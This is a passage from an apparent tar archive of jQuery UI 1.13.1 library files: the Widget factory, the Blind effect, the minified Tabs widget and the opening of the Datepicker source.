).removeAttr( "id" ); } } ); } } ); // Source: widget.js /*! * jQuery UI Widget 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Widget //>>group: Core //>>description: Provides a factory for creating stateful widgets with a common API. //>>docs: http://api.jqueryui.com/jQuery.widget/ //>>demos: http://jqueryui.com/widget/ var widgetUuid = 0; var widgetHasOwnProperty = Array.prototype.hasOwnProperty; var widgetSlice = Array.prototype.slice; $.cleanData = ( function( orig ) { return function( elems ) { var events, elem, i; for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) { // Only trigger remove when necessary to save time events = $._data( elem, "events" ); if ( events && events.remove ) { $( elem ).triggerHandler( "remove" ); } } orig( elems ); }; } )( $.cleanData ); $.widget = function( name, base, prototype ) { var existingConstructor, constructor, basePrototype; // ProxiedPrototype allows the provided prototype to remain unmodified // so that it can be used as a mixin for multiple widgets (#8876) var proxiedPrototype = {}; var namespace = name.split( "." )[ 0 ]; name = name.split( "." )[ 1 ]; var fullName = namespace + "-" + name; if ( !prototype ) { prototype = base; base = $.Widget; } if ( Array.isArray( prototype ) ) { prototype = $.extend.apply( null, [ {} ].concat( prototype ) ); } // Create selector for plugin $.expr.pseudos[ fullName.toLowerCase() ] = function( elem ) { return !!$.data( elem, fullName ); }; $[ namespace ] = $[ namespace ] || {}; existingConstructor = $[ namespace ][ name ]; constructor = $[ namespace ][ name ] = function( options, element ) { // Allow instantiation without "new" keyword if ( !this || !this._createWidget ) { return new constructor( options, element ); } // Allow instantiation without initializing for simple inheritance // must use "new" keyword (the code above always passes args) if ( arguments.length ) { this._createWidget( options, element ); } }; // Extend with the existing constructor to carry over any static properties $.extend( constructor, existingConstructor, { version: prototype.version, // Copy the object used to create the prototype in case we need to // redefine the widget later _proto: $.extend( {}, prototype ), // Track widgets that inherit from this widget in case this widget is // redefined after a widget inherits from it _childConstructors: [] } ); basePrototype = new base(); // We need to make the options hash a property directly on the new instance // otherwise we'll modify the options hash on the prototype that we're // inheriting from basePrototype.options = $.widget.extend( {}, basePrototype.options ); $.each( prototype, function( prop, value ) { if ( typeof value !== "function" ) { proxiedPrototype[ prop ] = value; return; } proxiedPrototype[ prop ] = ( function() { function _super() { return base.prototype[ prop ].apply( this, arguments ); } function _superApply( args ) { return base.prototype[ prop ].apply( this, args ); } return function() { var __super = this._super; var __superApply = this._superApply; var returnValue; this._super = _super; this._superApply = _superApply; returnValue = value.apply( this, arguments ); this._super = __super; this._superApply = __superApply; return returnValue; }; } )(); } ); constructor.prototype = $.widget.extend( basePrototype, { // TODO: remove support for widgetEventPrefix // always use the name + a colon as the prefix, e.g., draggable:start // don't prefix for widgets that aren't DOM-based widgetEventPrefix: existingConstructor ? ( basePrototype.widgetEventPrefix || name ) : name }, proxiedPrototype, { constructor: constructor, namespace: namespace, widgetName: name, widgetFullName: fullName } ); // If this widget is being redefined then we need to find all widgets that // are inheriting from it and redefine all of them so that they inherit from // the new version of this widget. We're essentially trying to replace one // level in the prototype chain. if ( existingConstructor ) { $.each( existingConstructor._childConstructors, function( i, child ) { var childPrototype = child.prototype; // Redefine the child widget using the same prototype that was // originally used, but inherit from the new version of the base $.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto ); } ); // Remove the list of existing child constructors from the old constructor // so the old child constructors can be garbage collected delete existingConstructor._childConstructors; } else { base._childConstructors.push( constructor ); } $.widget.bridge( name, constructor ); return constructor; }; $.widget.extend = function( target ) { var input = widgetSlice.call( arguments, 1 ); var inputIndex = 0; var inputLength = input.length; var key; var value; for ( ; inputIndex < inputLength; inputIndex++ ) { for ( key in input[ inputIndex ] ) { value = input[ inputIndex ][ key ]; if ( widgetHasOwnProperty.call( input[ inputIndex ], key ) && value !== undefined ) { // Clone objects if ( $.isPlainObject( value ) ) { target[ key ] = $.isPlainObject( target[ key ] ) ? $.widget.extend( {}, target[ key ], value ) : // Don't extend strings, arrays, etc. with objects $.widget.extend( {}, value ); // Copy everything else by reference } else { target[ key ] = value; } } } } return target; }; $.widget.bridge = function( name, object ) { var fullName = object.prototype.widgetFullName || name; $.fn[ name ] = function( options ) { var isMethodCall = typeof options === "string"; var args = widgetSlice.call( arguments, 1 ); var returnValue = this; if ( isMethodCall ) { // If this is an empty collection, we need to have the instance method // return undefined instead of the jQuery instance if ( !this.length && options === "instance" ) { returnValue = undefined; } else { this.each( function() { var methodValue; var instance = $.data( this, fullName ); if ( options === "instance" ) { returnValue = instance; return false; } if ( !instance ) { return $.error( "cannot call methods on " + name + " prior to initialization; " + "attempted to call method '" + options + "'" ); } if ( typeof instance[ options ] !== "function" || options.charAt( 0 ) === "_" ) { return $.error( "no such method '" + options + "' for " + name + " widget instance" ); } methodValue = instance[ options ].apply( instance, args ); if ( methodValue !== instance && methodValue !== undefined ) { returnValue = methodValue && methodValue.jquery ? returnValue.pushStack( methodValue.get() ) : methodValue; return false; } } ); } } else { // Allow multiple hashes to be passed on init if ( args.length ) { options = $.widget.extend.apply( null, [ options ].concat( args ) ); } this.each( function() { var instance = $.data( this, fullName ); if ( instance ) { instance.option( options || {} ); if ( instance._init ) { instance._init(); } } else { $.data( this, fullName, new object( options, this ) ); } } ); } return returnValue; }; }; $.Widget = function( /* options, element */ ) {}; $.Widget._childConstructors = []; $.Widget.prototype = { widgetName: "widget", widgetEventPrefix: "", defaultElement: "<div>", options: { classes: {}, disabled: false, // Callbacks create: null }, _createWidget: function( options, element ) { element = $( element || this.defaultElement || this )[ 0 ]; this.element = $( element ); this.uuid = widgetUuid++; this.eventNamespace = "." + this.widgetName + this.uuid; this.bindings = $(); this.hoverable = $(); this.focusable = $(); this.classesElementLookup = {}; if ( element !== this ) { $.data( element, this.widgetFullName, this ); this._on( true, this.element, { remove: function( event ) { if ( event.target === element ) { this.destroy(); } } } ); this.document = $( element.style ? // Element within the document element.ownerDocument : // Element is window or document element.document || element ); this.window = $( this.document[ 0 ].defaultView || this.document[ 0 ].parentWindow ); } this.options = $.widget.extend( {}, this.options, this._getCreateOptions(), options ); this._create(); if ( this.options.disabled ) { this._setOptionDisabled( this.options.disabled ); } this._trigger( "create", null, this._getCreateEventData() ); this._init(); }, _getCreateOptions: function() { return {}; }, _getCreateEventData: $.noop, _create: $.noop, _init: $.noop, destroy: function() { var that = this; this._destroy(); $.each( this.classesElementLookup, function( key, value ) { that._removeClass( value, key ); } ); // We can probably remove the unbind calls in 2.0 // all event bindings should go through this._on() this.element .off( this.eventNamespace ) .removeData( this.widgetFullName ); this.widget() .off( this.eventNamespace ) .removeAttr( "aria-disabled" ); // Clean up events and states this.bindings.off( this.eventNamespace ); }, _destroy: $.noop, widget: function() { return this.element; }, option: function( key, value ) { var options = key; var parts; var curOption; var i; if ( arguments.length === 0 ) { // Don't return a reference to the internal hash return $.widget.extend( {}, this.options ); } if ( typeof key === "string" ) { // Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } } options = {}; parts = key.split( "." ); key = parts.shift(); if ( parts.length ) { curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] ); for ( i = 0; i < parts.length - 1; i++ ) { curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {}; curOption = curOption[ parts[ i ] ]; } key = parts.pop(); if ( arguments.length === 1 ) { return curOption[ key ] === undefined ? null : curOption[ key ]; } curOption[ key ] = value; } else { if ( arguments.length === 1 ) { return this.options[ key ] === undefined ? null : this.options[ key ]; } options[ key ] = value; } } this._setOptions( options ); return this; }, _setOptions: function( options ) { var key; for ( key in options ) { this._setOption( key, options[ key ] ); } return this; }, _setOption: function( key, value ) { if ( key === "classes" ) { this._setOptionClasses( value ); } this.options[ key ] = value; if ( key === "disabled" ) { this._setOptionDisabled( value ); } return this; }, _setOptionClasses: function( value ) { var classKey, elements, currentElements; for ( classKey in value ) { currentElements = this.classesElementLookup[ classKey ]; if ( value[ classKey ] === this.options.classes[ classKey ] || !currentElements || !currentElements.length ) { continue; } // We are doing this to create a new jQuery object because the _removeClass() call // on the next line is going to destroy the reference to the current elements being // tracked. We need to save a copy of this collection so that we can add the new classes // below. elements = $( currentElements.get() ); this._removeClass( currentElements, classKey ); // We don't use _addClass() here, because that uses this.options.classes // for generating the string of classes. We want to use the value passed in from // _setOption(), this is the new value of the classes option which was passed to // _setOption(). We pass this value directly to _classes(). elements.addClass( this._classes( { element: elements, keys: classKey, classes: value, add: true } ) ); } }, _setOptionDisabled: function( value ) { this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, !!value ); // If the widget is becoming disabled, then nothing is interactive if ( value ) { this._removeClass( this.hoverable, null, "ui-state-hover" ); this._removeClass( this.focusable, null, "ui-state-focus" ); } }, enable: function() { return this._setOptions( { disabled: false } ); }, disable: function() { return this._setOptions( { disabled: true } ); }, _classes: function( options ) { var full = []; var that = this; options = $.extend( { element: this.element, classes: this.options.classes || {} }, options ); function bindRemoveEvent() { var nodesToBind = []; options.element.each( function( _, element ) { var isTracked = $.map( that.classesElementLookup, function( elements ) { return elements; } ) .some( function( elements ) { return elements.is( element ); } ); if ( !isTracked ) { nodesToBind.push( element ); } } ); that._on( $( nodesToBind ), { remove: "_untrackClassesElement" } ); } function processClassString( classes, checkOption ) { var current, i; for ( i = 0; i < classes.length; i++ ) { current = that.classesElementLookup[ classes[ i ] ] || $(); if ( options.add ) { bindRemoveEvent(); current = $( $.uniqueSort( current.get().concat( options.element.get() ) ) ); } else { current = $( current.not( options.element ).get() ); } that.classesElementLookup[ classes[ i ] ] = current; full.push( classes[ i ] ); if ( checkOption && options.classes[ classes[ i ] ] ) { full.push( options.classes[ classes[ i ] ] ); } } } if ( options.keys ) { processClassString( options.keys.match( /\S+/g ) || [], true ); } if ( options.extra ) { processClassString( options.extra.match( /\S+/g ) || [] ); } return full.join( " " ); }, _untrackClassesElement: function( event ) { var that = this; $.each( that.classesElementLookup, function( key, value ) { if ( $.inArray( event.target, value ) !== -1 ) { that.classesElementLookup[ key ] = $( value.not( event.target ).get() ); } } ); this._off( $( event.target ) ); }, _removeClass: function( element, keys, extra ) { return this._toggleClass( element, keys, extra, false ); }, _addClass: function( element, keys, extra ) { return this._toggleClass( element, keys, extra, true ); }, _toggleClass: function( element, keys, extra, add ) { add = ( typeof add === "boolean" ) ? add : extra; var shift = ( typeof element === "string" || element === null ), options = { extra: shift ? keys : extra, keys: shift ? element : keys, element: shift ? this.element : element, add: add }; options.element.toggleClass( this._classes( options ), add ); return this; }, _on: function( suppressDisabledCheck, element, handlers ) { var delegateElement; var instance = this; // No suppressDisabledCheck flag, shuffle arguments if ( typeof suppressDisabledCheck !== "boolean" ) { handlers = element; element = suppressDisabledCheck; suppressDisabledCheck = false; } // No element argument, shuffle and use this.element if ( !handlers ) { handlers = element; element = this.element; delegateElement = this.widget(); } else { element = delegateElement = $( element ); this.bindings = this.bindings.add( element ); } $.each( handlers, function( event, handler ) { function handlerProxy() { // Allow widgets to customize the disabled handling // - disabled as an array instead of boolean // - disabled class as method for disabling individual parts if ( !suppressDisabledCheck && ( instance.options.disabled === true || $( this ).hasClass( "ui-state-disabled" ) ) ) { return; } return ( typeof handler === "string" ? instance[ handler ] : handler ) .apply( instance, arguments ); } // Copy the guid so direct unbinding works if ( typeof handler !== "string" ) { handlerProxy.guid = handler.guid = handler.guid || handlerProxy.guid || $.guid++; } var match = event.match( /^([\w:-]*)\s*(.*)$/ ); var eventName = match[ 1 ] + instance.eventNamespace; var selector = match[ 2 ]; if ( selector ) { delegateElement.on( eventName, selector, handlerProxy ); } else { element.on( eventName, handlerProxy ); } } ); }, _off: function( element, eventName ) { eventName = ( eventName || "" ).split( " " ).join( this.eventNamespace + " " ) + this.eventNamespace; element.off( eventName ); // Clear the stack to avoid memory leaks (#10056) this.bindings = $( this.bindings.not( element ).get() ); this.focusable = $( this.focusable.not( element ).get() ); this.hoverable = $( this.hoverable.not( element ).get() ); }, _delay: function( handler, delay ) { function handlerProxy() { return ( typeof handler === "string" ? instance[ handler ] : handler ) .apply( instance, arguments ); } var instance = this; return setTimeout( handlerProxy, delay || 0 ); }, _hoverable: function( element ) { this.hoverable = this.hoverable.add( element ); this._on( element, { mouseenter: function( event ) { this._addClass( $( event.currentTarget ), null, "ui-state-hover" ); }, mouseleave: function( event ) { this._removeClass( $( event.currentTarget ), null, "ui-state-hover" ); } } ); }, _focusable: function( element ) { this.focusable = this.focusable.add( element ); this._on( element, { focusin: function( event ) { this._addClass( $( event.currentTarget ), null, "ui-state-focus" ); }, focusout: function( event ) { this._removeClass( $( event.currentTarget ), null, "ui-state-focus" ); } } ); }, _trigger: function( type, event, data ) { var prop, orig; var callback = this.options[ type ]; data = data || {}; event = $.Event( event ); event.type = ( type === this.widgetEventPrefix ? type : this.widgetEventPrefix + type ).toLowerCase(); // The original event may come from any element // so we need to reset the target on the new event event.target = this.element[ 0 ]; // Copy original event properties over to the new event orig = event.originalEvent; if ( orig ) { for ( prop in orig ) { if ( !( prop in event ) ) { event[ prop ] = orig[ prop ]; } } } this.element.trigger( event, data ); return !( typeof callback === "function" && callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false || event.isDefaultPrevented() ); } }; $.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) { $.Widget.prototype[ "_" + method ] = function( element, options, callback ) { if ( typeof options === "string" ) { options = { effect: options }; } var hasOptions; var effectName = !options ? method : options === true || typeof options === "number" ? defaultEffect : options.effect || defaultEffect; options = options || {}; if ( typeof options === "number" ) { options = { duration: options }; } else if ( options === true ) { options = {}; } hasOptions = !$.isEmptyObject( options ); options.complete = callback; if ( options.delay ) { element.delay( options.delay ); } if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) { element[ method ]( options ); } else if ( effectName !== method && element[ effectName ] ) { element[ effectName ]( options.duration, options.easing, callback ); } else { element.queue( function( next ) { $( this )[ method ](); if ( callback ) { callback.call( element[ 0 ] ); } next(); } ); } }; } ); } ) ); ���������������������������������js/jquery/ui/effect-blind.js������������������������������������������������������������������������0000644�����������������00000003126�14717703502�0012004 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Blind 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Blind Effect //>>group: Effects //>>description: Blinds the element. //>>docs: http://api.jqueryui.com/blind-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "blind", "hide", function( options, done ) { var map = { up: [ "bottom", "top" ], vertical: [ "bottom", "top" ], down: [ "top", "bottom" ], left: [ "right", "left" ], horizontal: [ "right", "left" ], right: [ "left", "right" ] }, element = $( this ), direction = options.direction || "up", start = element.cssClip(), animate = { clip: $.extend( {}, start ) }, placeholder = $.effects.createPlaceholder( element ); animate.clip[ map[ direction ][ 0 ] ] = animate.clip[ map[ direction ][ 1 ] ]; if ( options.mode === "show" ) { element.cssClip( animate.clip ); if ( placeholder ) { placeholder.css( $.effects.clipToBox( animate ) ); } animate.clip = start; } if ( placeholder ) { placeholder.animate( $.effects.clipToBox( animate ), options.duration, options.easing ); } element.animate( animate, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/tabs.min.js����������������������������������������������������������������������������0000644�����������������00000027241�14717703502�0011201 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Tabs 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],t):t(jQuery)}(function(l){"use strict";var a;return l.widget("ui.tabs",{version:"1.13.1",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:(a=/#.*$/,function(t){var e=t.href.replace(a,""),i=location.href.replace(a,"");try{e=decodeURIComponent(e)}catch(t){}try{i=decodeURIComponent(i)}catch(t){}return 1<t.hash.length&&e===i}),_create:function(){var e=this,t=this.options;this.running=!1,this._addClass("ui-tabs","ui-widget ui-widget-content"),this._toggleClass("ui-tabs-collapsible",null,t.collapsible),this._processTabs(),t.active=this._initialActive(),Array.isArray(t.disabled)&&(t.disabled=l.uniqueSort(t.disabled.concat(l.map(this.tabs.filter(".ui-state-disabled"),function(t){return e.tabs.index(t)}))).sort()),!1!==this.options.active&&this.anchors.length?this.active=this._findActive(t.active):this.active=l(),this._refresh(),this.active.length&&this.load(t.active)},_initialActive:function(){var i=this.options.active,t=this.options.collapsible,a=location.hash.substring(1);return null===i&&(a&&this.tabs.each(function(t,e){if(l(e).attr("aria-controls")===a)return i=t,!1}),null!==(i=null===i?this.tabs.index(this.tabs.filter(".ui-tabs-active")):i)&&-1!==i||(i=!!this.tabs.length&&0)),!1!==i&&-1===(i=this.tabs.index(this.tabs.eq(i)))&&(i=!t&&0),i=!t&&!1===i&&this.anchors.length?0:i},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):l()}},_tabKeydown:function(t){var e=l(l.ui.safeActiveElement(this.document[0])).closest("li"),i=this.tabs.index(e),a=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case l.ui.keyCode.RIGHT:case l.ui.keyCode.DOWN:i++;break;case l.ui.keyCode.UP:case l.ui.keyCode.LEFT:a=!1,i--;break;case l.ui.keyCode.END:i=this.anchors.length-1;break;case l.ui.keyCode.HOME:i=0;break;case l.ui.keyCode.SPACE:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i);case l.ui.keyCode.ENTER:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i!==this.options.active&&i);default:return}t.preventDefault(),clearTimeout(this.activating),i=this._focusNextTab(i,a),t.ctrlKey||t.metaKey||(e.attr("aria-selected","false"),this.tabs.eq(i).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",i)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===l.ui.keyCode.UP&&(t.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(t){return t.altKey&&t.keyCode===l.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===l.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,e){var i=this.tabs.length-1;for(;-1!==l.inArray(t=(t=i<t?0:t)<0?i:t,this.options.disabled);)t=e?t+1:t-1;return t},_focusNextTab:function(t,e){return t=this._findNextTab(t,e),this.tabs.eq(t).trigger("focus"),t},_setOption:function(t,e){"active"===t?this._activate(e):(this._super(t,e),"collapsible"===t&&(this._toggleClass("ui-tabs-collapsible",null,e),e||!1!==this.options.active||this._activate(0)),"event"===t&&this._setupEvents(e),"heightStyle"===t&&this._setupHeightStyle(e))},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,e=this.tablist.children(":has(a[href])");t.disabled=l.map(e.filter(".ui-state-disabled"),function(t){return e.index(t)}),this._processTabs(),!1!==t.active&&this.anchors.length?this.active.length&&!l.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=l()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=l()),this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var o=this,t=this.tabs,e=this.anchors,i=this.panels;this.tablist=this._getList().attr("role","tablist"),this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header"),this.tablist.on("mousedown"+this.eventNamespace,"> li",function(t){l(this).is(".ui-state-disabled")&&t.preventDefault()}).on("focus"+this.eventNamespace,".ui-tabs-anchor",function(){l(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1}),this._addClass(this.tabs,"ui-tabs-tab","ui-state-default"),this.anchors=this.tabs.map(function(){return l("a",this)[0]}).attr({tabIndex:-1}),this._addClass(this.anchors,"ui-tabs-anchor"),this.panels=l(),this.anchors.each(function(t,e){var i,a,s,n=l(e).uniqueId().attr("id"),h=l(e).closest("li"),r=h.attr("aria-controls");o._isLocal(e)?(s=(i=e.hash).substring(1),a=o.element.find(o._sanitizeSelector(i))):(s=h.attr("aria-controls")||l({}).uniqueId()[0].id,(a=o.element.find(i="#"+s)).length||(a=o._createPanel(s)).insertAfter(o.panels[t-1]||o.tablist),a.attr("aria-live","polite")),a.length&&(o.panels=o.panels.add(a)),r&&h.data("ui-tabs-aria-controls",r),h.attr({"aria-controls":s,"aria-labelledby":n}),a.attr("aria-labelledby",n)}),this.panels.attr("role","tabpanel"),this._addClass(this.panels,"ui-tabs-panel","ui-widget-content"),t&&(this._off(t.not(this.tabs)),this._off(e.not(this.anchors)),this._off(i.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(t){return l("<div>").attr("id",t).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(t){var e,i;for(Array.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1),i=0;e=this.tabs[i];i++)e=l(e),!0===t||-1!==l.inArray(i,t)?(e.attr("aria-disabled","true"),this._addClass(e,null,"ui-state-disabled")):(e.removeAttr("aria-disabled"),this._removeClass(e,null,"ui-state-disabled"));this.options.disabled=t,this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!0===t)},_setupEvents:function(t){var i={};t&&l.each(t.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(t){t.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,e=this.element.parent();"fill"===t?(i=e.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var t=l(this),e=t.css("position");"absolute"!==e&&"fixed"!==e&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=l(this).outerHeight(!0)}),this.panels.each(function(){l(this).height(Math.max(0,i-l(this).innerHeight()+l(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.panels.each(function(){i=Math.max(i,l(this).height("").height())}).height(i))},_eventHandler:function(t){var e=this.options,i=this.active,a=l(t.currentTarget).closest("li"),s=a[0]===i[0],n=s&&e.collapsible,h=n?l():this._getPanelForTab(a),r=i.length?this._getPanelForTab(i):l(),i={oldTab:i,oldPanel:r,newTab:n?l():a,newPanel:h};t.preventDefault(),a.hasClass("ui-state-disabled")||a.hasClass("ui-tabs-loading")||this.running||s&&!e.collapsible||!1===this._trigger("beforeActivate",t,i)||(e.active=!n&&this.tabs.index(a),this.active=s?l():a,this.xhr&&this.xhr.abort(),r.length||h.length||l.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(a),t),this._toggle(t,i))},_toggle:function(t,e){var i=this,a=e.newPanel,s=e.oldPanel;function n(){i.running=!1,i._trigger("activate",t,e)}function h(){i._addClass(e.newTab.closest("li"),"ui-tabs-active","ui-state-active"),a.length&&i.options.show?i._show(a,i.options.show,n):(a.show(),n())}this.running=!0,s.length&&this.options.hide?this._hide(s,this.options.hide,function(){i._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),h()}):(this._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),s.hide(),h()),s.attr("aria-hidden","true"),e.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),a.length&&s.length?e.oldTab.attr("tabIndex",-1):a.length&&this.tabs.filter(function(){return 0===l(this).attr("tabIndex")}).attr("tabIndex",-1),a.attr("aria-hidden","false"),e.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(t){var t=this._findActive(t);t[0]!==this.active[0]&&(t=(t=t.length?t:this.active).find(".ui-tabs-anchor")[0],this._eventHandler({target:t,currentTarget:t,preventDefault:l.noop}))},_findActive:function(t){return!1===t?l():this.tabs.eq(t)},_getIndex:function(t){return t="string"==typeof t?this.anchors.index(this.anchors.filter("[href$='"+l.escapeSelector(t)+"']")):t},_destroy:function(){this.xhr&&this.xhr.abort(),this.tablist.removeAttr("role").off(this.eventNamespace),this.anchors.removeAttr("role tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){l.data(this,"ui-tabs-destroy")?l(this).remove():l(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")}),this.tabs.each(function(){var t=l(this),e=t.data("ui-tabs-aria-controls");e?t.attr("aria-controls",e).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(i){var t=this.options.disabled;!1!==t&&(t=void 0!==i&&(i=this._getIndex(i),Array.isArray(t)?l.map(t,function(t){return t!==i?t:null}):l.map(this.tabs,function(t,e){return e!==i?e:null})),this._setOptionDisabled(t))},disable:function(t){var e=this.options.disabled;if(!0!==e){if(void 0===t)e=!0;else{if(t=this._getIndex(t),-1!==l.inArray(t,e))return;e=Array.isArray(e)?l.merge([t],e).sort():[t]}this._setOptionDisabled(e)}},load:function(t,a){t=this._getIndex(t);function s(t,e){"abort"===e&&n.panels.stop(!1,!0),n._removeClass(i,"ui-tabs-loading"),h.removeAttr("aria-busy"),t===n.xhr&&delete n.xhr}var n=this,i=this.tabs.eq(t),t=i.find(".ui-tabs-anchor"),h=this._getPanelForTab(i),r={tab:i,panel:h};this._isLocal(t[0])||(this.xhr=l.ajax(this._ajaxSettings(t,a,r)),this.xhr&&"canceled"!==this.xhr.statusText&&(this._addClass(i,"ui-tabs-loading"),h.attr("aria-busy","true"),this.xhr.done(function(t,e,i){setTimeout(function(){h.html(t),n._trigger("load",a,r),s(i,e)},1)}).fail(function(t,e){setTimeout(function(){s(t,e)},1)})))},_ajaxSettings:function(t,i,a){var s=this;return{url:t.attr("href").replace(/#.*$/,""),beforeSend:function(t,e){return s._trigger("beforeLoad",i,l.extend({jqXHR:t,ajaxSettings:e},a))}}},_getPanelForTab:function(t){t=l(t).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+t))}}),!1!==l.uiBackCompat&&l.widget("ui.tabs",l.ui.tabs,{_processTabs:function(){this._superApply(arguments),this._addClass(this.tabs,"ui-tab")}}),l.ui.tabs});���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/datepicker.js��������������������������������������������������������������������������0000644�����������������00000240740�14717703502�0011602 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* eslint-disable max-len, camelcase */ /*! * jQuery UI Datepicker 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Datepicker //>>group: Widgets //>>description: Displays a calendar from an input or inline for selecting dates. //>>docs: http://api.jqueryui.com/datepicker/ //>>demos: http://jqueryui.com/datepicker/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/datepicker.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.extend( $.ui, { datepicker: { version: "1.13.1" } } ); var datepicker_instActive; function datepicker_getZindex( elem ) { var position, value; while ( elem.length && elem[ 0 ] !== document ) { // Ignore z-index if position is set to a value where z-index is ignored by the browser // This makes behavior of this function consistent across browsers // WebKit always returns auto if the element is positioned position = elem.css( "position" ); if ( position === "absolute" || position === "relative" || position === "fixed" ) { // IE returns 0 when zIndex is not specified // other browsers return a string // we ignore the case of nested elements with an explicit value of 0 // <div style="z-index: -10;"><div style="z-index: 0;"></div></div> value = parseInt( elem.css( "zIndex" ), 10 ); if ( !isNaN( value ) && value !== 0 ) { return value; } } elem = elem.parent(); } return 0; } /* Date picker manager. Use the singleton instance of this class, $.datepicker, to interact with the date picker. Settings for (groups of) date pickers are maintained in an instance object, allowing multiple different settings on the same page. */ function Datepicker() { this._curInst = null; // The current instance in use this._keyEvent = false; // If the last event was a key event this._disabledInputs = []; // List of date picker inputs that have been disabled 